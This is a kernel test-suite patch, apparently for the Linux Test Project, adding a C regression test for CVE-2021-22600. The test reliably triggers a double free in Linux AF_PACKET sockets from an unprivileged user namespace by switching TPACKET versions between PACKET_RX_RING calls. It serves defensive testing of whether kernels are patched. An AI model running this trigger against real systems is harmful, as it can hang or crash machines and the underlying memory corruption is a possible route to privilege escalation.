diff mbox series

Add test for CVE 2021-22600

Message ID 20220217121600.3002-1-mdoucha@suse.cz
State Superseded
Headers show
Series Add test for CVE 2021-22600 | expand

Commit Message

Martin Doucha Feb. 17, 2022, 12:16 p.m. UTC
Fixes #917

Signed-off-by: Martin Doucha <mdoucha@suse.cz>
---

On a vulnerable system, the test will get stuck in the last setsockopt() call
and become unkillable. Reproducer works reliably on affected SLE kernels.

 runtest/syscalls                              |   1 +
 .../kernel/syscalls/setsockopt/.gitignore     |   1 +
 .../kernel/syscalls/setsockopt/setsockopt09.c | 111 ++++++++++++++++++
 3 files changed, 113 insertions(+)
 create mode 100644 testcases/kernel/syscalls/setsockopt/setsockopt09.c
diff mbox series

Patch

diff --git a/runtest/syscalls b/runtest/syscalls
index ce6f89f88..6c88454cc 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1391,6 +1391,7 @@  setsockopt05 setsockopt05
 setsockopt06 setsockopt06
 setsockopt07 setsockopt07
 setsockopt08 setsockopt08
+setsockopt09 setsockopt09
 
 settimeofday01 settimeofday01
 settimeofday02 settimeofday02
diff --git a/testcases/kernel/syscalls/setsockopt/.gitignore b/testcases/kernel/syscalls/setsockopt/.gitignore
index 95a5e43f8..fd3235bb3 100644
--- a/testcases/kernel/syscalls/setsockopt/.gitignore
+++ b/testcases/kernel/syscalls/setsockopt/.gitignore
@@ -6,3 +6,4 @@ 
 /setsockopt06
 /setsockopt07
 /setsockopt08
+/setsockopt09
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt09.c b/testcases/kernel/syscalls/setsockopt/setsockopt09.c
new file mode 100644
index 000000000..2b8dc5171
--- /dev/null
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt09.c
@@ -0,0 +1,111 @@ 
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 SUSE LLC
+ * Author: Marcos Paulo de Souza <mpdesouza@suse.com>
+ * LTP port: Martin Doucha <mdoucha@suse.cz>
+ */
+
+/*
+ * CVE-2021-22600
+ *
+ * Check for possible double free of rx_owner_map after switching packet
+ * interface versions. Kernel crash fixed in:
+ *
+ *  commit ec6af094ea28f0f2dda1a6a33b14cd57e36a9755
+ *  Author: Willem de Bruijn <willemb@google.com>
+ *  Date:   Wed Dec 15 09:39:37 2021 -0500
+ *
+ *  net/packet: rx_owner_map depends on pg_vec
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sched.h>
+
+#include "tst_test.h"
+#include "lapi/if_packet.h"
+
+static int sock = -1;
+
+static void setup(void)
+{
+	int real_uid = getuid();
+	int real_gid = getgid();
+
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+
+	SAFE_UNSHARE(CLONE_NEWUSER);
+	SAFE_UNSHARE(CLONE_NEWNET);
+	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
+	SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1", real_uid);
+	SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1", real_gid);
+}
+
+static void run(void)
+{
+	unsigned int version = TPACKET_V3;
+	struct tpacket_req3 req = {
+		.tp_block_size = 16384,
+		.tp_block_nr = 256,
+		.tp_frame_size = TPACKET_ALIGNMENT << 7,
+		.tp_retire_blk_tov = 64,
+		.tp_feature_req_word = TP_FT_REQ_FILL_RXHASH
+	};
+
+	req.tp_frame_nr = req.tp_block_size * req.tp_block_nr;
+	req.tp_frame_nr /= req.tp_frame_size;
+
+	sock = SAFE_SOCKET(AF_PACKET, SOCK_RAW, 0);
+	TEST(setsockopt(sock, SOL_PACKET, PACKET_VERSION, &version,
+		sizeof(version)));
+
+	if (TST_RET == -1 && TST_ERR == EINVAL)
+		tst_brk(TCONF | TTERRNO, "TPACKET_V3 not supported");
+
+	if (TST_RET) {
+		tst_brk(TBROK | TTERRNO,
+			"setsockopt(PACKET_VERSION, TPACKET_V3");
+	}
+
+	/* Allocate owner map and then free it again */
+	SAFE_SETSOCKOPT(sock, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
+	req.tp_block_nr = 0;
+	req.tp_frame_nr = 0;
+	SAFE_SETSOCKOPT(sock, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
+
+	/* Switch interface version and trigger double free of owner map */
+	SAFE_SETSOCKOPT_INT(sock, SOL_PACKET, PACKET_VERSION, TPACKET_V2);
+	SAFE_SETSOCKOPT(sock, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
+
+	tst_res(TPASS, "Nothing bad happened, probably");
+}
+
+static void cleanup(void)
+{
+	if (sock >= 0)
+		SAFE_CLOSE(sock);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.timeout = 5,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		NULL
+	},
+	.save_restore = (const char * const[]) {
+		"?/proc/sys/user/max_user_namespaces",
+		NULL,
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "ec6af094ea28"},
+		{"CVE", "2021-22600"},
+		{}
+	}
+};